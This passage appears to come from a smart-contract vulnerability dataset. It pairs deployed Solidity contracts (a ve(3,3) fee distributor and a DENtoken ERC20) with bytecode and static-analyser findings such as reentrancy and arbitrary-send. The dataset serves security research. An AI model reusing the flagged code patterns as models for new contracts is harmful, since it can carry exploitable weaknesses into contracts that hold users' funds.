036000830152612f9f81612cc2565b9050919050565b60006020820190508181036000830152612fbf81612ce5565b9050919050565b60006020820190508181036000830152612fdf81612d08565b9050919050565b60006020820190508181036000830152612fff81612d2b565b9050919050565b6000602082019050818103600083015261301f81612d4e565b9050919050565b6000602082019050818103600083015261303f81612d71565b9050919050565b6000602082019050818103600083015261305f81612d94565b9050919050565b6000602082019050818103600083015261307f81612db7565b9050919050565b6000602082019050818103600083015261309f81612dda565b9050919050565b60006020820190506130bb6000830184612dfd565b92915050565b600060a0820190506130d66000830188612dfd565b6130e36020830187612c11565b81810360408301526130f58186612ba4565b90506131046060830185612b95565b6131116080830184612dfd565b9695505050505050565b60006020820190506131306000830184612e0c565b92915050565b6000613140613151565b905061314c828261338b565b919050565b6000604051905090565b600067ffffffffffffffff82111561317657613175613463565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131e78261332f565b91506131f28361332f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561322757613226613405565b5b828201905092915050565b600061323d8261332f565b91506132488361332f565b92508261325857613257613434565b5b828204905092915050565b600061326e8261332f565b91506132798361332f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132b2576132b1613405565b5b828202905092915050565b60006132c88261332f565b91506132d38361332f565b9250828210156132e6576132e5613405565b5b828203905092915050565b60006132fc8261330f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006133518261332f565b9050919050565b60005b8381101561337657808201518184015260208101905061335b565b83811115613385576000848401525b50505050565b61339482613492565b810181811067ffffffffffffffff821117156133b3576133b2613463565b5b80604052505050565b60006133c78261332f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133fa576133f9613405565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137a2816132f1565b81146137ad57600080fd5b50565b6137b981613303565b81146137c457600080fd5b50565b6137d08161332f565b81146137db57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201d20dce22cec5df55cbd16ffec27ed7c5f02d5de1e656bec44e8b5eba39701d164736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,325
0x2C55A607d5C840e8Cf85973121f159F1f12305cd
/** *Submitted for verification at Etherscan.io on 2022-02-23 */ // Sources flattened with hardhat v2.8.4 https://hardhat.org // File srcBuild/ve_dist.sol // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.8.11; /* @title Curve Fee Distribution modified for ve(3,3) emissions @author Curve Finance, andrecronje @license MIT */ interface erc20 { function totalSupply() external view returns (uint256); function transfer(address recipient, uint amount) external returns (bool); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function balanceOf(address) external view returns (uint); function transferFrom(address sender, address recipient, uint amount) external returns (bool); function approve(address spender, uint value) external returns (bool); } library Math { function min(uint a, uint b) internal pure returns (uint) { return a < b ? a : b; } function max(uint a, uint b) internal pure returns (uint) { return a >= b ? a : b; } } interface VotingEscrow { struct Point { int128 bias; int128 slope; // # -dweight / dt uint256 ts; uint256 blk; // block } function user_point_epoch(uint tokenId) external view returns (uint); function epoch() external view returns (uint); function user_point_history(uint tokenId, uint loc) external view returns (Point memory); function point_history(uint loc) external view returns (Point memory); function checkpoint() external; function deposit_for(uint tokenId, uint value) external; function token() external view returns (address); } contract ve_dist { event CheckpointToken( uint time, uint tokens ); event Claimed( uint tokenId, uint amount, uint claim_epoch, uint max_epoch ); uint constant WEEK = 7 * 86400; uint public start_time; uint public time_cursor; mapping(uint => uint) public time_cursor_of; mapping(uint => uint) public user_epoch_of; uint public last_token_time; uint[1000000000000000] public tokens_per_week; address public voting_escrow; address public token; uint public token_last_balance; uint[1000000000000000] public ve_supply; address public depositor; constructor(address _voting_escrow) { uint _t = block.timestamp / WEEK * WEEK; start_time = _t; last_token_time = _t; time_cursor = _t; address _token = VotingEscrow(_voting_escrow).token(); token = _token; voting_escrow = _voting_escrow; depositor = msg.sender; erc20(_token).approve(_voting_escrow, type(uint).max); } function timestamp() external view returns (uint) { return block.timestamp / WEEK * WEEK; } function _checkpoint_token() internal { uint token_balance = erc20(token).balanceOf(address(this)); uint to_distribute = token_balance - token_last_balance; token_last_balance = token_balance; uint t = last_token_time; uint since_last = block.timestamp - t; last_token_time = block.timestamp; uint this_week = t / WEEK * WEEK; uint next_week = 0; for (uint i = 0; i < 20; i++) { next_week = this_week + WEEK; if (block.timestamp < next_week) { if (since_last == 0 && block.timestamp == t) { tokens_per_week[this_week] += to_distribute; } else { tokens_per_week[this_week] += to_distribute * (block.timestamp - t) / since_last; } break; } else { if (since_last == 0 && next_week == t) { tokens_per_week[this_week] += to_distribute; } else { tokens_per_week[this_week] += to_distribute * (next_week - t) / since_last; } } t = next_week; this_week = next_week; } emit CheckpointToken(block.timestamp, to_distribute); } function checkpoint_token() external { assert(msg.sender == depositor); _checkpoint_token(); } function _find_timestamp_epoch(address ve, uint _timestamp) internal view returns (uint) { uint _min = 0; uint _max = VotingEscrow(ve).epoch(); for (uint i = 0; i < 128; i++) { if (_min >= _max) break; uint _mid = (_min + _max + 2) / 2; VotingEscrow.Point memory pt = VotingEscrow(ve).point_history(_mid); if (pt.ts <= _timestamp) { _min = _mid; } else { _max = _mid - 1; } } return _min; } function _find_timestamp_user_epoch(address ve, uint tokenId, uint _timestamp, uint max_user_epoch) internal view returns (uint) { uint _min = 0; uint _max = max_user_epoch; for (uint i = 0; i < 128; i++) { if (_min >= _max) break; uint _mid = (_min + _max + 2) / 2; VotingEscrow.Point memory pt = VotingEscrow(ve).user_point_history(tokenId, _mid); if (pt.ts <= _timestamp) { _min = _mid; } else { _max = _mid -1; } } return _min; } function ve_for_at(uint _tokenId, uint _timestamp) external view returns (uint) { address ve = voting_escrow; uint max_user_epoch = VotingEscrow(ve).user_point_epoch(_tokenId); uint epoch = _find_timestamp_user_epoch(ve, _tokenId, _timestamp, max_user_epoch); VotingEscrow.Point memory pt = VotingEscrow(ve).user_point_history(_tokenId, epoch); return Math.max(uint(int256(pt.bias - pt.slope * (int128(int256(_timestamp - pt.ts))))), 0); } function _checkpoint_total_supply() internal { address ve = voting_escrow; uint t = time_cursor; uint rounded_timestamp = block.timestamp / WEEK * WEEK; VotingEscrow(ve).checkpoint(); for (uint i = 0; i < 20; i++) { if (t > rounded_timestamp) { break; } else { uint epoch = _find_timestamp_epoch(ve, t); VotingEscrow.Point memory pt = VotingEscrow(ve).point_history(epoch); int128 dt = 0; if (t > pt.ts) { dt = int128(int256(t - pt.ts)); } ve_supply[t] = Math.max(uint(int256(pt.bias - pt.slope * dt)), 0); } t += WEEK; } time_cursor = t; } function checkpoint_total_supply() external { _checkpoint_total_supply(); } function _claim(uint _tokenId, address ve, uint _last_token_time) internal returns (uint) { uint user_epoch = 0; uint to_distribute = 0; uint max_user_epoch = VotingEscrow(ve).user_point_epoch(_tokenId); uint _start_time = start_time; if (max_user_epoch == 0) return 0; uint week_cursor = time_cursor_of[_tokenId]; if (week_cursor == 0) { user_epoch = _find_timestamp_user_epoch(ve, _tokenId, _start_time, max_user_epoch); } else { user_epoch = user_epoch_of[_tokenId]; } if (user_epoch == 0) user_epoch = 1; VotingEscrow.Point memory user_point = VotingEscrow(ve).user_point_history(_tokenId, user_epoch); if (week_cursor == 0) week_cursor = (user_point.ts + WEEK - 1) / WEEK * WEEK; if (week_cursor >= last_token_time) return 0; if (week_cursor < _start_time) week_cursor = _start_time; VotingEscrow.Point memory old_user_point; for (uint i = 0; i < 50; i++) { if (week_cursor >= _last_token_time) break; if (week_cursor >= user_point.ts && user_epoch <= max_user_epoch) { user_epoch += 1; old_user_point = user_point; if (user_epoch > max_user_epoch) { user_point = VotingEscrow.Point(0,0,0,0); } else { user_point = VotingEscrow(ve).user_point_history(_tokenId, user_epoch); } } else { int128 dt = int128(int256(week_cursor - old_user_point.ts)); uint balance_of = Math.max(uint(int256(old_user_point.bias - dt * old_user_point.slope)), 0); if (balance_of == 0 && user_epoch > max_user_epoch) break; if (balance_of > 0) { to_distribute += balance_of * tokens_per_week[week_cursor] / ve_supply[week_cursor]; } week_cursor += WEEK; } } user_epoch = Math.min(max_user_epoch, user_epoch - 1); user_epoch_of[_tokenId] = user_epoch; time_cursor_of[_tokenId] = week_cursor; emit Claimed(_tokenId, to_distribute, user_epoch, max_user_epoch); return to_distribute; } function _claimable(uint _tokenId, address ve, uint _last_token_time) internal view returns (uint) { uint user_epoch = 0; uint to_distribute = 0; uint max_user_epoch = VotingEscrow(ve).user_point_epoch(_tokenId); uint _start_time = start_time; if (max_user_epoch == 0) return 0; uint week_cursor = time_cursor_of[_tokenId]; if (week_cursor == 0) { user_epoch = _find_timestamp_user_epoch(ve, _tokenId, _start_time, max_user_epoch); } else { user_epoch = user_epoch_of[_tokenId]; } if (user_epoch == 0) user_epoch = 1; VotingEscrow.Point memory user_point = VotingEscrow(ve).user_point_history(_tokenId, user_epoch); if (week_cursor == 0) week_cursor = (user_point.ts + WEEK - 1) / WEEK * WEEK; if (week_cursor >= last_token_time) return 0; if (week_cursor < _start_time) week_cursor = _start_time; VotingEscrow.Point memory old_user_point; for (uint i = 0; i < 50; i++) { if (week_cursor >= _last_token_time) break; if (week_cursor >= user_point.ts && user_epoch <= max_user_epoch) { user_epoch += 1; old_user_point = user_point; if (user_epoch > max_user_epoch) { user_point = VotingEscrow.Point(0,0,0,0); } else { user_point = VotingEscrow(ve).user_point_history(_tokenId, user_epoch); } } else { int128 dt = int128(int256(week_cursor - old_user_point.ts)); uint balance_of = Math.max(uint(int256(old_user_point.bias - dt * old_user_point.slope)), 0); if (balance_of == 0 && user_epoch > max_user_epoch) break; if (balance_of > 0) { to_distribute += balance_of * tokens_per_week[week_cursor] / ve_supply[week_cursor]; } week_cursor += WEEK; } } return to_distribute; } function claimable(uint _tokenId) external view returns (uint) { uint _last_token_time = last_token_time / WEEK * WEEK; return _claimable(_tokenId, voting_escrow, _last_token_time); } function claim(uint _tokenId) external returns (uint) { if (block.timestamp >= time_cursor) _checkpoint_total_supply(); uint _last_token_time = last_token_time; _last_token_time = _last_token_time / WEEK * WEEK; uint amount = _claim(_tokenId, voting_escrow, _last_token_time); if (amount != 0) { VotingEscrow(voting_escrow).deposit_for(_tokenId, amount); token_last_balance -= amount; } return amount; } function claim_many(uint[] memory _tokenIds) external returns (bool) { if (block.timestamp >= time_cursor) _checkpoint_total_supply(); uint _last_token_time = last_token_time; _last_token_time = _last_token_time / WEEK * WEEK; address _voting_escrow = voting_escrow; uint total = 0; for (uint i = 0; i < _tokenIds.length; i++) { uint _tokenId = _tokenIds[i]; if (_tokenId == 0) break; uint amount = _claim(_tokenId, _voting_escrow, _last_token_time); if (amount != 0) { VotingEscrow(_voting_escrow).deposit_for(_tokenId, amount); total += amount; } } if (total != 0) { token_last_balance -= total; } return true; } // Once off event on contract initialize function setDepositor(address _depositor) external { require(msg.sender == depositor); depositor = _depositor; } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c8063834ee417116100ad578063d4dafba811610071578063d4dafba81461024a578063dfe050311461025d578063edf5999714610276578063f2c098b714610289578063fc0c546a1461029c57600080fd5b8063834ee417146101ed578063b21ed502146101f6578063b80777ea146101fe578063c7c4ff4614610206578063d1d58b251461023757600080fd5b8063379607f5116100f4578063379607f514610194578063486d25fe146101a757806368809889146101c75780637f58e8f8146101da578063811a40fe146101e357600080fd5b8063127dcbd31461012657806316aea5c0146101425780631f1db0431461016257806322b04bfc14610185575b600080fd5b61012f60015481565b6040519081526020015b60405180910390f35b61012f610150366004611566565b60036020526000908152604090205481565b6101756101703660046115c6565b6102b5565b6040519015158152602001610139565b61012f66038d7ea4c680075481565b61012f6101a2366004611566565b6103fc565b61012f6101b5366004611566565b60026020526000908152604090205481565b61012f6101d536600461166c565b6104e6565b61012f60045481565b6101eb610629565b005b61012f60005481565b6101eb610653565b61012f61065b565b66071afd498d00085461021f906001600160a01b031681565b6040516001600160a01b039091168152602001610139565b61012f610245366004611566565b61067a565b61012f610258366004611566565b6106ba565b66038d7ea4c680055461021f906001600160a01b031681565b61012f610284366004611566565b6106dd565b6101eb61029736600461168e565b6106f3565b66038d7ea4c680065461021f906001600160a01b031681565b600060015442106102c8576102c8610738565b60045462093a806102d981836116cd565b6102e391906116ef565b66038d7ea4c68005549091506001600160a01b03166000805b85518110156103cc5760008682815181106103195761031961170e565b60200260200101519050806000141561033257506103cc565b600061033f8286886108e1565b905080156103b757604051631dd33fc560e31b815260048101839052602481018290526001600160a01b0386169063ee99fe2890604401600060405180830381600087803b15801561039057600080fd5b505af11580156103a4573d6000803e3d6000fd5b5050505080846103b49190611724565b93505b505080806103c49061173c565b9150506102fc565b5080156103f1578066038d7ea4c6800760008282546103eb9190611757565b90915550505b506001949350505050565b6000600154421061040f5761040f610738565b60045462093a8061042081836116cd565b61042a91906116ef565b66038d7ea4c680055490915060009061044e9085906001600160a01b0316846108e1565b905080156104df5766038d7ea4c6800554604051631dd33fc560e31b815260048101869052602481018390526001600160a01b039091169063ee99fe2890604401600060405180830381600087803b1580156104a957600080fd5b505af11580156104bd573d6000803e3d6000fd5b505050508066038d7ea4c6800760008282546104d99190611757565b90915550505b9392505050565b66038d7ea4c680055460405163391044d760e21b8152600481018490526000916001600160a01b0316908290829063e441135c90602401602060405180830381865afa15801561053a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061055e919061176e565b9050600061056e83878785610cfd565b6040516309bb79ed60e11b815260048101889052602481018290529091506000906001600160a01b03851690631376f3da90604401608060405180830381865afa1580156105c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105e4919061179e565b905061061e8160400151876105f99190611757565b82602001516106089190611810565b825161061491906118ae565b600f0b6000610df5565b979650505050505050565b66071afd498d0008546001600160a01b03163314610649576106496118fe565b610651610e0c565b565b610651610738565b600062093a8061066b81426116cd565b61067591906116ef565b905090565b60008062093a808060045461068f91906116cd565b61069991906116ef565b66038d7ea4c68005549091506104df9084906001600160a01b031683611069565b66038d7ea4c680088166038d7ea4c6800081106106d657600080fd5b0154905081565b60058166038d7ea4c6800081106106d657600080fd5b66071afd498d0008546001600160a01b0316331461071057600080fd5b66071afd498d000880546001600160a01b0319166001600160a01b0392909216919091179055565b66038d7ea4c68005546001546001600160a01b0390911690600062093a8061076081426116cd565b61076a91906116ef565b9050826001600160a01b031663c2c4c5c16040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156107a757600080fd5b505af11580156107bb573d6000803e3d6000fd5b5050505060005b60148110156108d957818311156107d8576108d9565b60006107e485856113fe565b60405163d1febfb960e01b8152600481018290529091506000906001600160a01b0387169063d1febfb990602401608060405180830381865afa15801561082f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610853919061179e565b9050600081604001518611156108755760408201516108729087611757565b90505b6108948183602001516108889190611810565b835161061491906118ae565b66038d7ea4c680088766038d7ea4c6800081106108b3576108b361170e565b01555050506108c562093a8084611724565b9250806108d18161173c565b9150506107c2565b505060015550565b60405163391044d760e21b8152600481018490526000908190819081906001600160a01b0387169063e441135c90602401602060405180830381865afa15801561092f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610953919061176e565b6000549091508161096b5760009450505050506104df565b600088815260026020526040902054806109925761098b888a8486610cfd565b94506109a4565b60008981526003602052604090205494505b846109ae57600194505b6040516309bb79ed60e11b8152600481018a9052602481018690526000906001600160a01b038a1690631376f3da90604401608060405180830381865afa1580156109fd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a21919061179e565b905081610a635762093a8080600162093a808460400151610a429190611724565b610a4c9190611757565b610a5691906116cd565b610a6091906116ef565b91505b6004548210610a7b57600096505050505050506104df565b82821015610a87578291505b6040805160808101825260008082526020820181905291810182905260608101829052905b6032811015610c7257898410610ac157610c72565b82604001518410158015610ad55750858811155b15610b9b57610ae5600189611724565b975082915085881115610b245760405180608001604052806000600f0b81526020016000600f0b81526020016000815260200160008152509250610c60565b6040516309bb79ed60e11b8152600481018d9052602481018990526001600160a01b038c1690631376f3da90604401608060405180830381865afa158015610b70573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b94919061179e565b9250610c60565b6000826040015185610bad9190611757565b90506000610bd0846020015183610bc49190611810565b855161061491906118ae565b905080158015610bdf5750878a115b15610beb575050610c72565b8015610c4e5766038d7ea4c680088666038d7ea4c680008110610c1057610c1061170e565b015460058766038d7ea4c680008110610c2b57610c2b61170e565b0154610c3790836116ef565b610c4191906116cd565b610c4b908a611724565b98505b610c5b62093a8087611724565b955050505b80610c6a8161173c565b915050610aac565b50610c8785610c8260018a611757565b611557565b60008c8152600360209081526040808320849055600282529182902086905581518e8152908101899052908101829052606081018790529097507fcae2990aa9af8eb1c64713b7eddb3a80bf18e49a94a13fe0d0002b5d61d58f009060800160405180910390a150939998505050505050505050565b60008082815b6080811015610de957818310610d1857610de9565b60006002610d268486611724565b610d31906002611724565b610d3b91906116cd565b6040516309bb79ed60e11b8152600481018a9052602481018290529091506000906001600160a01b038b1690631376f3da90604401608060405180830381865afa158015610d8d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610db1919061179e565b905087816040015111610dc657819450610dd4565b610dd1600183611757565b93505b50508080610de19061173c565b915050610d03565b50909695505050505050565b600081831015610e0557816104df565b5090919050565b66038d7ea4c68006546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa158015610e5b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7f919061176e565b9050600066038d7ea4c680075482610e979190611757565b66038d7ea4c680078390556004549091506000610eb48242611757565b426004559050600062093a80610eca81856116cd565b610ed491906116ef565b90506000805b601481101561102757610ef062093a8084611724565b915081421015610f795783158015610f0757508442145b15610f41578560058466038d7ea4c680008110610f2657610f2661170e565b016000828254610f369190611724565b909155506110279050565b83610f4c8642611757565b610f5690886116ef565b610f6091906116cd565b60058466038d7ea4c680008110610f2657610f2661170e565b83158015610f8657508482145b15610fc0578560058466038d7ea4c680008110610fa557610fa561170e565b016000828254610fb59190611724565b9091555061100e9050565b83610fcb8684611757565b610fd590886116ef565b610fdf91906116cd565b60058466038d7ea4c680008110610ff857610ff861170e565b0160008282546110089190611724565b90915550505b819450819250808061101f9061173c565b915050610eda565b5060408051428152602081018790527fce749457b74e10f393f2c6b1ce4261b78791376db5a3f501477a809f03f500d6910160405180910390a1505050505050565b60405163391044d760e21b8152600481018490526000908190819081906001600160a01b0387169063e441135c90602401602060405180830381865afa1580156110b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110db919061176e565b600054909150816110f35760009450505050506104df565b6000888152600260205260409020548061111a57611113888a8486610cfd565b945061112c565b60008981526003602052604090205494505b8461113657600194505b6040516309bb79ed60e11b8152600481018a9052602481018690526000906001600160a01b038a1690631376f3da90604401608060405180830381865afa158015611185573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111a9919061179e565b9050816111eb5762093a8080600162093a8084604001516111ca9190611724565b6111d49190611757565b6111de91906116cd565b6111e891906116ef565b91505b600454821061120357600096505050505050506104df565b8282101561120f578291505b6040805160808101825260008082526020820181905291810182905260608101829052905b60328110156113ee57898410611249576113ee565b8260400151841015801561125d5750858811155b156113235761126d600189611724565b9750829150858811156112ac5760405180608001604052806000600f0b81526020016000600f0b815260200160008152602001600081525092506113dc565b6040516309bb79ed60e11b8152600481018d9052602481018990526001600160a01b038c1690631376f3da90604401608060405180830381865afa1580156112f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061131c919061179e565b92506113dc565b60008260400151856113359190611757565b9050600061134c846020015183610bc49190611810565b90508015801561135b5750878a115b156113675750506113ee565b80156113ca5766038d7ea4c680088666038d7ea4c68000811061138c5761138c61170e565b015460058766038d7ea4c6800081106113a7576113a761170e565b01546113b390836116ef565b6113bd91906116cd565b6113c7908a611724565b98505b6113d762093a8087611724565b955050505b806113e68161173c565b915050611234565b50949a9950505050505050505050565b600080600090506000846001600160a01b031663900cf0cf6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611445573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611469919061176e565b905060005b608081101561154d578183106114835761154d565b600060026114918486611724565b61149c906002611724565b6114a691906116cd565b60405163d1febfb960e01b8152600481018290529091506000906001600160a01b0389169063d1febfb990602401608060405180830381865afa1580156114f1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611515919061179e565b90508681604001511161152a57819450611538565b611535600183611757565b93505b505080806115459061173c565b91505061146e565b5090949350505050565b6000818310610e0557816104df565b60006020828403121561157857600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff811182821017156115be576115be61157f565b604052919050565b600060208083850312156115d957600080fd5b823567ffffffffffffffff808211156115f157600080fd5b818501915085601f83011261160557600080fd5b8135818111156116175761161761157f565b8060051b9150611628848301611595565b818152918301840191848101908884111561164257600080fd5b938501935b8385101561166057843582529385019390850190611647565b98975050505050505050565b6000806040838503121561167f57600080fd5b50508035926020909101359150565b6000602082840312156116a057600080fd5b81356001600160a01b03811681146104df57600080fd5b634e487b7160e01b600052601160045260246000fd5b6000826116ea57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611709576117096116b7565b500290565b634e487b7160e01b600052603260045260246000fd5b60008219821115611737576117376116b7565b500190565b6000600019821415611750576117506116b7565b5060010190565b600082821015611769576117696116b7565b500390565b60006020828403121561178057600080fd5b5051919050565b8051600f81900b811461179957600080fd5b919050565b6000608082840312156117b057600080fd5b6040516080810181811067ffffffffffffffff821117156117d3576117d361157f565b6040526117df83611787565b81526117ed60208401611787565b602082015260408301516040820152606083015160608201528091505092915050565b600081600f0b83600f0b60016001607f1b03600082136000841383830485118282161615611840576118406116b7565b6f7fffffffffffffffffffffffffffffff19600085128281168783058712161561186c5761186c6116b7565b60008712925085820587128484161615611888576118886116b7565b8585058712818416161561189e5761189e6116b7565b5050509290910295945050505050565b600081600f0b83600f0b600081128160016001607f1b0319018312811516156118d9576118d96116b7565b8160016001607f1b030183138116156118f4576118f46116b7565b5090039392505050565b634e487b7160e01b600052600160045260246000fdfea26469706673582212209af0949553c2b3a53958de3160d4e5e84e74e1ca6676e3771007315fc66b5fd664736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
8,326
0x0e2c596eba5db1d18abfcac52c865e48f3971aff
pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // &#39;DENtoken&#39; // // NAME : DENtoken // Symbol : DEN // Total supply: 25,000,000 // Decimals : 18 // ---------------------------------------------------------------------------- library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } contract ERC20Basic { uint256 public totalSupply; bool public transfersEnabled; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 { uint256 public totalSupply; bool public transfersEnabled; function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev protection against short address attack */ modifier onlyPayloadSize(uint numwords) { assert(msg.data.length == numwords * 32 + 4); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public onlyPayloadSize(2) returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); require(transfersEnabled); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping(address => mapping(address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(transfersEnabled); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract DENtoken is StandardToken { string public constant name = "DENtoken"; string public constant symbol = "DEN"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 25 * 10**6 * (10**uint256(decimals)); uint256 public weiRaised; uint256 public tokenAllocated; address public owner; bool public saleToken = true; event OwnerChanged(address indexed previousOwner, address indexed newOwner); event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount); event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken); event Transfer(address indexed _from, address indexed _to, uint256 _value); function DENtoken() public { totalSupply = INITIAL_SUPPLY; owner = msg.sender; //owner = msg.sender; // for testing balances[owner] = INITIAL_SUPPLY; tokenAllocated = 0; 